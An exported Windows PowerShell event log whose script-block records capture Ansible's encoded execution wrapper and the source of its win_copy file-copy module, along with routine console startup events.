BhIHN0cmluZywKICAgICAgICAjIGNyZWF0ZSBhIG5ldyBIYXNodGFibGUgYW5kIHVzZSB0aGUgYXJnIGFzIHRoZSBmYWlsdXJlIG1lc3NhZ2UKICAgICAgICAkbWVzc2FnZSA9ICRvYmoKICAgICAgICAkb2JqID0gQHsgfQogICAgfSBlbHNlIHsKICAgICAgICAjIElmIHRoZSBmaXJzdCBhcmd1bWVudCBpcyB1bmRlZmluZWQgb3IgYSBkaWZmZXJlbnQgdHlwZSwKICAgICAgICAjIG1ha2UgaXQgYSBIYXNodGFibGUKICAgICAgICAkb2JqID0gQHsgfQogICAgfQoKICAgICMgU3RpbGwgdXNpbmcgU2V0LUF0dHIgZm9yIFBTT2JqZWN0IGNvbXBhdGliaWxpdHkKICAgIFNldC1BdHRyICRvYmogIm1zZyIgJG1lc
ScriptBlock ID: bc82473e-b141-4b8e-a628-766094f3a11f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1672 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0003-22f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXA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XNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwd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xQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICA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lYWQsIG91dCBzdGRvdXRfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERPVVQgcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hd
ScriptBlock ID: bc82473e-b141-4b8e-a628-766094f3a11f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1671 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 4248 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0003-22f0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1670 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 3516 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0000-43ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4944 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1669 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0000-43ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1668 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4944 | 3516 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:11 AM | dfeadd90-ee34-0000-43ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1667 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2992 | 4296 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:10 AM | dfeadd90-ee34-0000-3dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2992 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1666 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2992 | 4440 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:10 AM | dfeadd90-ee34-0000-3dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1665 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2992 | 4296 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:10 AM | dfeadd90-ee34-0000-3dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1664 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1276 | 4600 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:10 AM | dfeadd90-ee34-0000-3cec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1276 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1663 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1276 | 4204 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0000-3cec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1662 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1276 | 4600 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0000-3cec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
